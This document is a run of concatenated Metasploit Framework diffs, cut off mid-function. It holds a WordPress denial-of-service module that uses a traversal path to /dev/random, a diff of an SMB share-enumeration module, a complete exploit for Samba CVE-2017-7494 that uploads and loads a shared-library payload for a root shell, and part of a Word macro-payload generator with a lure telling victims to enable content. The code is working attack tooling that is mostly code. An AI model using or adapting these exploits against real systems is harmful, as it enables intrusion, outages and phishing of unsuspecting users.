credential_data = {
|
||||
origin_type: :service,
|
||||
module_fullname: fullname,
|
||||
username: opts[:user]
|
||||
}.merge(service_data)
|
||||
|
||||
login_data = {
|
||||
last_attempted_at: DateTime.now,
|
||||
core: create_credential(credential_data),
|
||||
status: Metasploit::Model::Login::Status::SUCCESSFUL,
|
||||
proof: opts[:proof]
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
|
||||
def user_exists(user)
|
||||
exists = wordpress_user_exists?(user)
|
||||
if exists
|
||||
print_good("Username \"#{username}\" is valid")
|
||||
report_cred(
|
||||
ip: rhost,
|
||||
port: rport,
|
||||
user: user,
|
||||
service_name: (ssl ? 'https' : 'http'),
|
||||
proof: "WEBAPP=\"Wordpress\", VHOST=#{vhost}"
|
||||
)
|
||||
|
||||
return true
|
||||
else
|
||||
print_error("\"#{user}\" is not a valid username")
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
def run
|
||||
if wordpress_and_online?
|
||||
print_status("Checking if user \"#{username}\" exists...")
|
||||
unless user_exists(username)
|
||||
print_error('Aborting operation - a valid username must be specified')
|
||||
return
|
||||
end
|
||||
|
||||
starting_thread = 1
|
||||
|
||||
cookie = wordpress_login(username, password)
|
||||
if cookie.nil?
|
||||
print_error('Aborting operation - failed to authenticate')
|
||||
return
|
||||
end
|
||||
|
||||
path = "/#{'../' * depth}dev/random"
|
||||
|
||||
while starting_thread < rlimit do
|
||||
ubound = [rlimit - (starting_thread - 1), thread_count].min
|
||||
print_status("Executing requests #{starting_thread} - #{(starting_thread + ubound) - 1}...")
|
||||
|
||||
threads = []
|
||||
1.upto(ubound) do |i|
|
||||
threads << framework.threads.spawn("Module(#{self.refname})-request#{(starting_thread - 1) + i}", false, i) do |i|
|
||||
begin
|
||||
# shell code
|
||||
res = send_request_cgi( opts = {
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(wordpress_url_backend, 'admin-ajax.php'),
|
||||
'vars_post' => {
|
||||
'action' => 'update-plugin',
|
||||
'plugin' => path
|
||||
},
|
||||
'cookie' => cookie
|
||||
}, timeout = 0.2)
|
||||
rescue => e
|
||||
print_error("Timed out during request #{(starting_thread - 1) + i}")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
threads.each(&:join)
|
||||
|
||||
print_good("Finished executing requests #{starting_thread} - #{(starting_thread + ubound) - 1}")
|
||||
starting_thread += ubound
|
||||
end
|
||||
|
||||
if wordpress_and_online?
|
||||
print_error("FAILED: #{target_uri} appears to still be online")
|
||||
else
|
||||
print_good("SUCCESS: #{target_uri} appears to be down")
|
||||
end
|
||||
|
||||
else
|
||||
print_error("#{rhost}:#{rport}#{target_uri} does not appear to be running WordPress")
|
||||
end
|
||||
end
|
||||
end
|
|
@ -49,16 +49,11 @@ class MetasploitModule < Msf::Auxiliary
|
|||
OptBool.new('SpiderProfiles', [false, 'Spider only user profiles when share = C$', true]),
|
||||
OptEnum.new('LogSpider', [false, '0 = disabled, 1 = CSV, 2 = table (txt), 3 = one liner (txt)', 3, [0,1,2,3]]),
|
||||
OptInt.new('MaxDepth', [true, 'Max number of subdirectories to spider', 999]),
|
||||
OptBool.new('USE_SRVSVC_ONLY', [true, 'List shares only with SRVSVC', false ])
|
||||
])
|
||||
|
||||
deregister_options('RPORT', 'RHOST')
|
||||
end
|
||||
|
||||
def share_type(val)
|
||||
[ 'DISK', 'PRINTER', 'DEVICE', 'IPC', 'SPECIAL', 'TEMPORARY' ][val]
|
||||
end
|
||||
|
||||
def device_type_int_to_text(device_type)
|
||||
types = [
|
||||
"UNSET", "BEEP", "CDROM", "CDROM FILE SYSTEM", "CONTROLLER", "DATALINK",
|
||||
|
@ -172,114 +167,6 @@ class MetasploitModule < Msf::Auxiliary
|
|||
os_info
|
||||
end
|
||||
|
||||
def lanman_netshareenum(ip, rport, info)
|
||||
shares = []
|
||||
|
||||
begin
|
||||
res = self.simple.client.trans(
|
||||
"\\PIPE\\LANMAN",
|
||||
(
|
||||
[0x00].pack('v') +
|
||||
"WrLeh\x00" +
|
||||
"B13BWz\x00" +
|
||||
[0x01, 65406].pack("vv")
|
||||
))
|
||||
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
|
||||
if e.error_code == 0xC00000BB
|
||||
vprint_error("Got 0xC00000BB while enumerating shares, switching to srvsvc...")
|
||||
@srvsvc = true # Make sure the module is aware of this state
|
||||
return srvsvc_netshareenum(ip)
|
||||
end
|
||||
end
|
||||
|
||||
return [] if res.nil?
|
||||
|
||||
lerror, lconv, lentries, lcount = res['Payload'].to_s[
|
||||
res['Payload'].v['ParamOffset'],
|
||||
res['Payload'].v['ParamCount']
|
||||
].unpack("v4")
|
||||
|
||||
data = res['Payload'].to_s[
|
||||
res['Payload'].v['DataOffset'],
|
||||
res['Payload'].v['DataCount']
|
||||
]
|
||||
|
||||
0.upto(lentries - 1) do |i|
|
||||
sname,tmp = data[(i * 20) + 0, 14].split("\x00")
|
||||
stype = data[(i * 20) + 14, 2].unpack('v')[0]
|
||||
scoff = data[(i * 20) + 16, 2].unpack('v')[0]
|
||||
scoff -= lconv if lconv != 0
|
||||
scomm,tmp = data[scoff, data.length - scoff].split("\x00")
|
||||
shares << [ sname, share_type(stype), scomm]
|
||||
end
|
||||
|
||||
shares
|
||||
end
|
||||
|
||||
def srvsvc_netshareenum(ip)
|
||||
shares = []
|
||||
simple.connect("\\\\#{ip}\\IPC$")
|
||||
handle = dcerpc_handle('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0', 'ncacn_np', ["\\srvsvc"])
|
||||
begin
|
||||
dcerpc_bind(handle)
|
||||
rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
|
||||
vprint_error(e.message)
|
||||
return []
|
||||
end
|
||||
|
||||
stubdata =
|
||||
NDR.uwstring("\\\\#{ip}") +
|
||||
NDR.long(1) #level
|
||||
|
||||
ref_id = stubdata[0,4].unpack("V")[0]
|
||||
ctr = [1, ref_id + 4 , 0, 0].pack("VVVV")
|
||||
|
||||
stubdata << ctr
|
||||
stubdata << NDR.align(ctr)
|
||||
stubdata << ["FFFFFFFF"].pack("H*")
|
||||
stubdata << [ref_id + 8, 0].pack("VV")
|
||||
response = dcerpc.call(0x0f, stubdata)
|
||||
res = response.dup
|
||||
win_error = res.slice!(-4, 4).unpack("V")[0]
|
||||
if win_error != 0
|
||||
raise "DCE/RPC error : Win_error = #{win_error + 0}"
|
||||
end
|
||||
# remove some uneeded data
|
||||
res.slice!(0,12) # level, CTR header, Reference ID of CTR
|
||||
share_count = res.slice!(0, 4).unpack("V")[0]
|
||||
res.slice!(0,4) # Reference ID of CTR1
|
||||
share_max_count = res.slice!(0, 4).unpack("V")[0]
|
||||
|
||||
raise "Dce/RPC error : Unknow situation encountered count != count max (#{share_count}/#{share_max_count})" if share_max_count != share_count
|
||||
|
||||
# RerenceID / Type / ReferenceID of Comment
|
||||
types = res.slice!(0, share_count * 12).scan(/.{12}/n).map{|a| a[4,2].unpack("v")[0]}
|
||||
|
||||
share_count.times do |t|
|
||||
length, offset, max_length = res.slice!(0, 12).unpack("VVV")
|
||||
raise "Dce/RPC error : Unknow situation encountered offset != 0 (#{offset})" if offset != 0
|
||||
raise "Dce/RPC error : Unknow situation encountered length !=max_length (#{length}/#{max_length})" if length != max_length
|
||||
name = res.slice!(0, 2 * length).gsub('\x00','')
|
||||
res.slice!(0,2) if length % 2 == 1 # pad
|
||||
|
||||
comment_length, comment_offset, comment_max_length = res.slice!(0, 12).unpack("VVV")
|
||||
raise "Dce/RPC error : Unknow situation encountered comment_offset != 0 (#{comment_offset})" if comment_offset != 0
|
||||
if comment_length != comment_max_length
|
||||
raise "Dce/RPC error : Unknow situation encountered comment_length != comment_max_length (#{comment_length}/#{comment_max_length})"
|
||||
end
|
||||
comment = res.slice!(0, 2 * comment_length).gsub('\x00','')
|
||||
res.slice!(0,2) if comment_length % 2 == 1 # pad
|
||||
|
||||
name = Rex::Text.to_ascii(name)
|
||||
s_type = Rex::Text.to_ascii(share_type(types[t]))
|
||||
comment = Rex::Text.to_ascii(comment)
|
||||
|
||||
shares << [ name, s_type, comment ]
|
||||
end
|
||||
|
||||
shares
|
||||
end
|
||||
|
||||
def get_user_dirs(ip, share, base, sub_dirs)
|
||||
dirs = []
|
||||
usernames = []
|
||||
|
@ -445,11 +332,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
begin
|
||||
connect
|
||||
smb_login
|
||||
if @srvsvc
|
||||
shares = srvsvc_netshareenum(ip)
|
||||
else
|
||||
shares = lanman_netshareenum(ip, rport, info)
|
||||
end
|
||||
shares = smb_netshareenumall
|
||||
|
||||
os_info = get_os_info(ip, rport)
|
||||
print_status(os_info) if os_info
|
||||
|
|
|
@ -0,0 +1,472 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::DCERPC
|
||||
include Msf::Exploit::Remote::SMB::Client
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Samba is_known_pipename() Arbitrary Module Load',
|
||||
'Description' => %q{
|
||||
This module triggers an arbitrary shared library load vulnerability
|
||||
in Samba versions 3.5.0 to 4.4.14, 4.5.10, and 4.6.4. This module
|
||||
requires valid credentials, a writeable folder in an accessible share,
|
||||
and knowledge of the server-side path of the writeable folder. In
|
||||
some cases, anonymous access combined with common filesystem locations
|
||||
can be used to automatically exploit this vulnerability.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'steelo <knownsteelo[at]gmail.com>', # Vulnerability Discovery & Python Exploit
|
||||
'hdm', # Metasploit Module
|
||||
'Brendan Coles <bcoles[at]gmail.com>', # Check logic
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2017-7494' ],
|
||||
[ 'URL', 'https://www.samba.org/samba/security/CVE-2017-7494.html' ],
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 9000,
|
||||
'DisableNops' => true
|
||||
},
|
||||
'Platform' => 'linux',
|
||||
'Targets' =>
|
||||
[
|
||||
|
||||
[ 'Automatic (Interact)',
|
||||
{ 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ], 'Interact' => true,
|
||||
'Payload' => {
|
||||
'Compat' => {
|
||||
'PayloadType' => 'cmd_interact', 'ConnectionType' => 'find'
|
||||
}
|
||||
}
|
||||
}
|
||||
],
|
||||
[ 'Automatic (Command)',
|
||||
{ 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] }
|
||||
],
|
||||
[ 'Linux x86', { 'Arch' => ARCH_X86 } ],
|
||||
[ 'Linux x86_64', { 'Arch' => ARCH_X64 } ],
|
||||
[ 'Linux ARM (LE)', { 'Arch' => ARCH_ARMLE } ],
|
||||
[ 'Linux ARM64', { 'Arch' => ARCH_AARCH64 } ],
|
||||
[ 'Linux MIPS', { 'Arch' => ARCH_MIPS } ],
|
||||
[ 'Linux MIPSLE', { 'Arch' => ARCH_MIPSLE } ],
|
||||
[ 'Linux MIPS64', { 'Arch' => ARCH_MIPS64 } ],
|
||||
[ 'Linux MIPS64LE', { 'Arch' => ARCH_MIPS64LE } ],
|
||||
[ 'Linux PPC', { 'Arch' => ARCH_PPC } ],
|
||||
[ 'Linux PPC64', { 'Arch' => ARCH_PPC64 } ],
|
||||
[ 'Linux PPC64 (LE)', { 'Arch' => ARCH_PPC64LE } ],
|
||||
[ 'Linux SPARC', { 'Arch' => ARCH_SPARC } ],
|
||||
[ 'Linux SPARC64', { 'Arch' => ARCH_SPARC64 } ],
|
||||
[ 'Linux s390x', { 'Arch' => ARCH_ZARCH } ],
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'DCERPC::fake_bind_multi' => false,
|
||||
'SHELL' => '/bin/sh',
|
||||
},
|
||||
'Privileged' => true,
|
||||
'DisclosureDate' => 'Mar 24 2017',
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('SMB_SHARE_NAME', [false, 'The name of the SMB share containing a writeable directory']),
|
||||
OptString.new('SMB_FOLDER', [false, 'The directory to use within the writeable SMB share']),
|
||||
])
|
||||
end
|
||||
|
||||
# Setup our mapping of Metasploit architectures to gcc architectures
|
||||
def setup
|
||||
super
|
||||
@@payload_arch_mappings = {
|
||||
ARCH_X86 => [ 'x86' ],
|
||||
ARCH_X64 => [ 'x86_64' ],
|
||||
ARCH_MIPS => [ 'mips' ],
|
||||
ARCH_MIPSLE => [ 'mipsel' ],
|
||||
ARCH_MIPSBE => [ 'mips' ],
|
||||
ARCH_MIPS64 => [ 'mips64' ],
|
||||
ARCH_MIPS64LE => [ 'mips64el' ],
|
||||
ARCH_PPC => [ 'powerpc' ],
|
||||
ARCH_PPC64 => [ 'powerpc64' ],
|
||||
ARCH_PPC64LE => [ 'powerpc64le' ],
|
||||
ARCH_SPARC => [ 'sparc' ],
|
||||
ARCH_SPARC64 => [ 'sparc64' ],
|
||||
ARCH_ARMLE => [ 'armel', 'armhf' ],
|
||||
ARCH_AARCH64 => [ 'aarch64' ],
|
||||
ARCH_ZARCH => [ 's390x' ],
|
||||
}
|
||||
|
||||
# Architectures we don't offically support but can shell anyways with interact
|
||||
@@payload_arch_bonus = %W{
|
||||
mips64el sparc64 s390x
|
||||
}
|
||||
|
||||
# General platforms (OS + C library)
|
||||
@@payload_platforms = %W{
|
||||
linux-glibc
|
||||
}
|
||||
end
|
||||
|
||||
# List all top-level directories within a given share
|
||||
def enumerate_directories(share)
|
||||
begin
|
||||
self.simple.connect("\\\\#{rhost}\\#{share}")
|
||||
stuff = self.simple.client.find_first("\\*")
|
||||
directories = [""]
|
||||
stuff.each_pair do |entry,entry_attr|
|
||||
next if %W{. ..}.include?(entry)
|
||||
next unless entry_attr['type'] == 'D'
|
||||
directories << entry
|
||||
end
|
||||
|
||||
return directories
|
||||
|
||||
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
|
||||
vprint_error("Enum #{share}: #{e}")
|
||||
return nil
|
||||
|
||||
ensure
|
||||
simple.disconnect("\\\\#{rhost}\\#{share}")
|
||||
end
|
||||
end
|
||||
|
||||
# Determine whether a directory in a share is writeable
|
||||
def verify_writeable_directory(share, directory="")
|
||||
begin
|
||||
simple.connect("\\\\#{rhost}\\#{share}")
|
||||
|
||||
random_filename = Rex::Text.rand_text_alpha(5)+".txt"
|
||||
filename = directory.length == 0 ? "\\#{random_filename}" : "\\#{directory}\\#{random_filename}"
|
||||
|
||||
wfd = simple.open(filename, 'rwct')
|
||||
wfd << Rex::Text.rand_text_alpha(8)
|
||||
wfd.close
|
||||
|
||||
simple.delete(filename)
|
||||
return true
|
||||
|
||||
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
|
||||
vprint_error("Write #{share}#{filename}: #{e}")
|
||||
return false
|
||||
|
||||
ensure
|
||||
simple.disconnect("\\\\#{rhost}\\#{share}")
|
||||
end
|
||||
end
|
||||
|
||||
# Call NetShareGetInfo to retrieve the server-side path
|
||||
def find_share_path
|
||||
share_info = smb_netsharegetinfo(@share)
|
||||
share_info[:path].gsub("\\", "/").sub(/^.*:/, '')
|
||||
end
|
||||
|
||||
# Crawl top-level directories and test for writeable
|
||||
def find_writeable_path(share)
|
||||
subdirs = enumerate_directories(share)
|
||||
return unless subdirs
|
||||
|
||||
if datastore['SMB_FOLDER'].to_s.length > 0
|
||||
subdirs.unshift(datastore['SMB_FOLDER'])
|
||||
end
|
||||
|
||||
subdirs.each do |subdir|
|
||||
next unless verify_writeable_directory(share, subdir)
|
||||
return subdir
|
||||
end
|
||||
|
||||
nil
|
||||
end
|
||||
|
||||
# Locate a writeable directory across identified shares
|
||||
def find_writeable_share_path
|
||||
@path = nil
|
||||
share_info = smb_netshareenumall
|
||||
if datastore['SMB_SHARE_NAME'].to_s.length > 0
|
||||
share_info.unshift [datastore['SMB_SHARE_NAME'], 'DISK', '']
|
||||
end
|
||||
|
||||
share_info.each do |share|
|
||||
next if share.first.upcase == 'IPC$'
|
||||
found = find_writeable_path(share.first)
|
||||
next unless found
|
||||
@share = share.first
|
||||
@path = found
|
||||
break
|
||||
end
|
||||
end
|
||||
|
||||
# Locate a writeable share
|
||||
def find_writeable
|
||||
find_writeable_share_path
|
||||
unless @share && @path
|
||||
print_error("No suitable share and path were found, try setting SMB_SHARE_NAME and SMB_FOLDER")
|
||||
fail_with(Failure::NoTarget, "No matching target")
|
||||
end
|
||||
print_status("Using location \\\\#{rhost}\\#{@share}\\#{@path} for the path")
|
||||
end
|
||||
|
||||
# Store the wrapped payload into the writeable share
|
||||
def upload_payload(wrapped_payload)
|
||||
begin
|
||||
self.simple.connect("\\\\#{rhost}\\#{@share}")
|
||||
|
||||
random_filename = Rex::Text.rand_text_alpha(8)+".so"
|
||||
filename = @path.length == 0 ? "\\#{random_filename}" : "\\#{@path}\\#{random_filename}"
|
||||
|
||||
wfd = simple.open(filename, 'rwct')
|
||||
wfd << wrapped_payload
|
||||
wfd.close
|
||||
|
||||
@payload_name = random_filename
|
||||
|
||||
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
|
||||
print_error("Write #{@share}#{filename}: #{e}")
|
||||
return false
|
||||
|
||||
ensure
|
||||
simple.disconnect("\\\\#{rhost}\\#{@share}")
|
||||
end
|
||||
|
||||
print_status("Uploaded payload to \\\\#{rhost}\\#{@share}#{filename}")
|
||||
return true
|
||||
end
|
||||
|
||||
# Try both pipe open formats in order to load the uploaded shared library
|
||||
def trigger_payload
|
||||
|
||||
target = [@share_path, @path, @payload_name].join("/").gsub(/\/+/, '/')
|
||||
[
|
||||
"\\\\PIPE\\" + target,
|
||||
target
|
||||
].each do |tpath|
|
||||
|
||||
print_status("Loading the payload from server-side path #{target} using #{tpath}...")
|
||||
|
||||
smb_connect
|
||||
|
||||
# Try to execute the shared library from the share
|
||||
begin
|
||||
simple.client.create_pipe(tpath)
|
||||
probe_module_path(tpath)
|
||||
|
||||
rescue Rex::StreamClosedError, Rex::Proto::SMB::Exceptions::NoReply, ::Timeout::Error, ::EOFError
|
||||
# Common errors we can safely ignore
|
||||
|
||||
rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
|
||||
|
||||
# Look for STATUS_OBJECT_PATH_INVALID indicating our interact payload loaded
|
||||
if e.error_code == 0xc0000039
|
||||
print_good("Probe response indicates the interactive payload was loaded...")
|
||||
|
||||
smb_shell = self.sock
|
||||
self.sock = nil
|
||||
remove_socket(sock)
|
||||
handler(smb_shell)
|
||||
return true
|
||||
else
|
||||
print_error(" >> Failed to load #{e.error_name}")
|
||||
end
|
||||
end
|
||||
|
||||
disconnect
|
||||
|
||||
end
|
||||
|
||||
false
|
||||
end
|
||||
|
||||
# Use fancy payload wrappers to make exploitation a joyously lazy exercise
|
||||
def cycle_possible_payloads
|
||||
template_base = ::File.join(Msf::Config.data_directory, "exploits", "CVE-2017-7494")
|
||||
template_list = []
|
||||
template_type = nil
|
||||
template_arch = nil
|
||||
|
||||
# Handle the generic command types first
|
||||
if target.arch.include?(ARCH_CMD)
|
||||
template_type = target['Interact'] ? 'findsock' : 'system'
|
||||
|
||||
all_architectures = @@payload_arch_mappings.values.flatten.uniq
|
||||
|
||||
# Include our bonus architectures for the interact payload
|
||||
if target['Interact']
|
||||
@@payload_arch_bonus.each do |t_arch|
|
||||
all_architectures << t_arch
|
||||
end
|
||||
end
|
||||
|
||||
# Prioritize the most common architectures first
|
||||
%W{ x86_64 x86 armel armhf mips mipsel }.each do |t_arch|
|
||||
template_list << all_architectures.delete(t_arch)
|
||||
end
|
||||
|
||||
# Queue up the rest for later
|
||||
all_architectures.each do |t_arch|
|
||||
template_list << t_arch
|
||||
end
|
||||
|
||||
# Handle the specific architecture targets next
|
||||
else
|
||||
template_type = 'shellcode'
|
||||
target.arch.each do |t_name|
|
||||
@@payload_arch_mappings[t_name].each do |t_arch|
|
||||
template_list << t_arch
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Remove any duplicates that mau have snuck in
|
||||
template_list.uniq!
|
||||
|
||||
# Cycle through each top-level platform we know about
|
||||
@@payload_platforms.each do |t_plat|
|
||||
|
||||
# Cycle through each template and yield
|
||||
template_list.each do |t_arch|
|
||||
|
||||
|
||||
wrapper_path = ::File.join(template_base, "samba-root-#{template_type}-#{t_plat}-#{t_arch}.so.gz")
|
||||
next unless ::File.exists?(wrapper_path)
|
||||
|
||||
data = ''
|
||||
::File.open(wrapper_path, "rb") do |fd|
|
||||
data = Rex::Text.ungzip(fd.read)
|
||||
end
|
||||
|
||||
pidx = data.index('PAYLOAD')
|
||||
if pidx
|
||||
data[pidx, payload.encoded.length] = payload.encoded
|
||||
end
|
||||
|
||||
vprint_status("Using payload wrapper 'samba-root-#{template_type}-#{t_arch}'...")
|
||||
yield(data)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Verify that the payload settings make sense
|
||||
def sanity_check
|
||||
if target['Interact'] && datastore['PAYLOAD'] != "cmd/unix/interact"
|
||||
print_error("Error: The interactive target is chosen (0) but PAYLOAD is not set to cmd/unix/interact")
|
||||
print_error(" Please set PAYLOAD to cmd/unix/interact and try this again")
|
||||
print_error("")
|
||||
fail_with(Failure::NoTarget, "Invalid payload chosen for the interactive target")
|
||||
end
|
||||
|
||||
if ! target['Interact'] && datastore['PAYLOAD'] == "cmd/unix/interact"
|
||||
print_error("Error: A non-interactive target is chosen but PAYLOAD is set to cmd/unix/interact")
|
||||
print_error(" Please set a valid PAYLOAD and try this again")
|
||||
print_error("")
|
||||
fail_with(Failure::NoTarget, "Invalid payload chosen for the non-interactive target")
|
||||
end
|
||||
end
|
||||
|
||||
# Shorthand for connect and login
|
||||
def smb_connect
|
||||
connect
|
||||
smb_login
|
||||
end
|
||||
|
||||
# Start the shell train
|
||||
def exploit
|
||||
# Validate settings
|
||||
sanity_check
|
||||
|
||||
# Setup SMB
|
||||
smb_connect
|
||||
|
||||
# Find a writeable share
|
||||
find_writeable
|
||||
|
||||
# Retrieve the server-side path of the share like a boss
|
||||
print_status("Retrieving the remote path of the share '#{@share}'")
|
||||
@share_path = find_share_path
|
||||
print_status("Share '#{@share}' has server-side path '#{@share_path}")
|
||||
|
||||
# Disconnect
|
||||
disconnect
|
||||
|
||||
# Create wrappers for each potential architecture
|
||||
cycle_possible_payloads do |wrapped_payload|
|
||||
|
||||
# Connect, upload the shared library payload, disconnect
|
||||
smb_connect
|
||||
upload_payload(wrapped_payload)
|
||||
disconnect
|
||||
|
||||
# Trigger the payload
|
||||
early = trigger_payload
|
||||
|
||||
# Cleanup the payload
|
||||
begin
|
||||
smb_connect
|
||||
simple.connect("\\\\#{rhost}\\#{@share}")
|
||||
uploaded_path = @path.length == 0 ? "\\#{@payload_name}" : "\\#{@path}\\#{@payload_name}"
|
||||
simple.delete(uploaded_path)
|
||||
disconnect
|
||||
rescue Rex::StreamClosedError, Rex::Proto::SMB::Exceptions::NoReply, ::Timeout::Error, ::EOFError
|
||||
end
|
||||
|
||||
# Bail early if our interact payload loaded
|
||||
return if early
|
||||
end
|
||||
end
|
||||
|
||||
# A version-based vulnerability check for Samba
|
||||
def check
|
||||
res = smb_fingerprint
|
||||
|
||||
unless res['native_lm'] =~ /Samba ([\d\.]+)/
|
||||
print_error("does not appear to be Samba: #{res['os']} / #{res['native_lm']}")
|
||||
return CheckCode::Safe
|
||||
end
|
||||
|
||||
samba_version = Gem::Version.new($1.gsub(/\.$/, ''))
|
||||
|
||||
vprint_status("Samba version identified as #{samba_version.to_s}")
|
||||
|
||||
if samba_version < Gem::Version.new('3.5.0')
|
||||
return CheckCode::Safe
|
||||
end
|
||||
|
||||
# Patched in 4.4.14
|
||||
if samba_version < Gem::Version.new('4.5.0') &&
|
||||
samba_version >= Gem::Version.new('4.4.14')
|
||||
return CheckCode::Safe
|
||||
end
|
||||
|
||||
# Patched in 4.5.10
|
||||
if samba_version > Gem::Version.new('4.5.0') &&
|
||||
samba_version < Gem::Version.new('4.6.0') &&
|
||||
samba_version >= Gem::Version.new('4.5.10')
|
||||
return CheckCode::Safe
|
||||
end
|
||||
|
||||
# Patched in 4.6.4
|
||||
if samba_version >= Gem::Version.new('4.6.4')
|
||||
return CheckCode::Safe
|
||||
end
|
||||
|
||||
smb_connect
|
||||
find_writeable_share_path
|
||||
disconnect
|
||||
|
||||
if @share.to_s.length == 0
|
||||
print_status("Samba version #{samba_version.to_s} found, but no writeable share has been identified")
|
||||
return CheckCode::Detected
|
||||
end
|
||||
|
||||
print_good("Samba version #{samba_version.to_s} found with writeable share '#{@share}'")
|
||||
return CheckCode::Appears
|
||||
end
|
||||
|
||||
end
|
|
@ -15,8 +15,8 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
super(update_info(info,
|
||||
'Name' => "Microsoft Office Word Malicious Macro Execution",
|
||||
'Description' => %q{
|
||||
This module generates a macro-enabled Microsoft Office Word document. The comments
|
||||
metadata in the data is injected with a Base64 encoded payload, which will be
|
||||
This module injects a malicious macro into a Microsoft Office Word document (docx). The
|
||||
comments field in the metadata is injected with a Base64 encoded payload, which will be
|
||||
decoded by the macro and execute as a Windows executable.
|
||||
|
||||
For a successful attack, the victim is required to manually enable macro execution.
|
||||
|
@ -56,66 +56,232 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
))
|
||||
|
||||
register_options([
|
||||
OptString.new("BODY", [false, 'The message for the document body',
|
||||
'Contents of this document are protected. Please click Enable Content to continue.'
|
||||
]),
|
||||
OptString.new('FILENAME', [true, 'The Office document macro file', 'msf.docm'])
|
||||
OptPath.new("CUSTOMTEMPLATE", [false, 'A docx file that will be used as a template to build the exploit']),
|
||||
OptString.new('FILENAME', [true, 'The Office document macro file (docm)', 'msf.docm'])
|
||||
])
|
||||
end
|
||||
|
||||
def get_file_in_docx(fname)
|
||||
i = @docx.find_index { |item| item[:fname] == fname }
|
||||
|
||||
def on_file_read(short_fname, full_fname)
|
||||
buf = File.read(full_fname)
|
||||
|
||||
case short_fname
|
||||
when /document\.xml/
|
||||
buf.gsub!(/DOCBODYGOESHER/, datastore['BODY'])
|
||||
when /core\.xml/
|
||||
p = target.name =~ /Python/ ? payload.encoded : generate_payload_exe
|
||||
b64_payload = ' ' * 55
|
||||
b64_payload << Rex::Text.encode_base64(p)
|
||||
buf.gsub!(/PAYLOADGOESHERE/, b64_payload)
|
||||
unless i
|
||||
fail_with(Failure::NotFound, "This template cannot be used because it is missing: #{fname}")
|
||||
end
|
||||
|
||||
# The original filename of __rels is actually ".rels".
|
||||
# But for some reason if that's our original filename, it won't be included
|
||||
# in the archive. So this hacks around that.
|
||||
case short_fname
|
||||
when /__rels/
|
||||
short_fname.gsub!(/\_\_rels/, '.rels')
|
||||
@docx.fetch(i)[:data]
|
||||
end
|
||||
|
||||
yield short_fname, buf
|
||||
end
|
||||
|
||||
|
||||
def package_docm(path)
|
||||
zip = Rex::Zip::Archive.new
|
||||
|
||||
Dir["#{path}/**/**"].each do |file|
|
||||
p = file.sub(path+'/','')
|
||||
|
||||
if File.directory?(file)
|
||||
print_status("Packaging directory: #{file}")
|
||||
zip.add_file(p)
|
||||
def add_content_type_extension(extension, content_type)
|
||||
if has_content_type_extension?(extension)
|
||||
update_content_type("Types//Default[@Extension=\"#{extension}\"]", 'ContentType', content_type)
|
||||
else
|
||||
on_file_read(p, file) do |fname, buf|
|
||||
print_status("Packaging file: #{fname}")
|
||||
zip.add_file(fname, buf)
|
||||
xml = get_file_in_docx('[Content_Types].xml')
|
||||
types_node = xml.at('Types')
|
||||
|
||||
unless types_node
|
||||
fail_with(Failure::NotFound, '[Content_Types].xml is missing the Types node.')
|
||||
end
|
||||
|
||||
child_data = "<Default Extension=\"#{extension}\" ContentType=\"#{content_type}\"/>"
|
||||
types_node.add_child(child_data)
|
||||
end
|
||||
end
|
||||
|
||||
zip.pack
|
||||
def has_content_type_extension?(extension)
|
||||
xml = get_file_in_docx('[Content_Types].xml')
|
||||
xml.at("Types//Default[@Extension=\"#{extension}\"]") ? true : false
|
||||
end
|
||||
|
||||
def add_content_type_partname(part_name, content_type)
|
||||
ctype_xml = get_file_in_docx('[Content_Types].xml')
|
||||
types_node = ctype_xml.at('Types')
|
||||
|
||||
unless types_node
|
||||
fail_with(Failure::NotFound, '[Content_Types].xml is missing the Types node.')
|
||||
end
|
||||
|
||||
child_data = "<Override PartName=\"#{part_name}\" ContentType=\"#{content_type}\"/>"
|
||||
types_node.add_child(child_data)
|
||||
end
|
||||
|
||||
def update_content_type(pattern, attribute, new_value)
|
||||
ctype_xml = get_file_in_docx('[Content_Types].xml')
|
||||
doc_xml_ctype_node = ctype_xml.at(pattern)
|
||||
if doc_xml_ctype_node
|
||||
doc_xml_ctype_node.attributes[attribute].value = new_value
|
||||
end
|
||||
end
|
||||
|
||||
def add_rels_relationship(type, target)
|
||||
rels_xml = get_file_in_docx('_rels/.rels')
|
||||
relationships_node = rels_xml.at('Relationships')
|
||||
|
||||
unless relationships_node
|
||||
fail_with(Failure::NotFound, '_rels/.rels is missing the Relationships node')
|
||||
end
|
||||
|
||||
last_index = get_last_relationship_index_from_rels
|
||||
relationships_node.add_child("<Relationship Id=\"rId#{last_index+1}\" Type=\"#{type}\" Target=\"#{target}\"/>")
|
||||
end
|
||||
|
||||
def add_doc_relationship(type, target)
|
||||
rels_xml = get_file_in_docx('word/_rels/document.xml.rels')
|
||||
relationships_node = rels_xml.at('Relationships')
|
||||
|
||||
unless relationships_node
|
||||
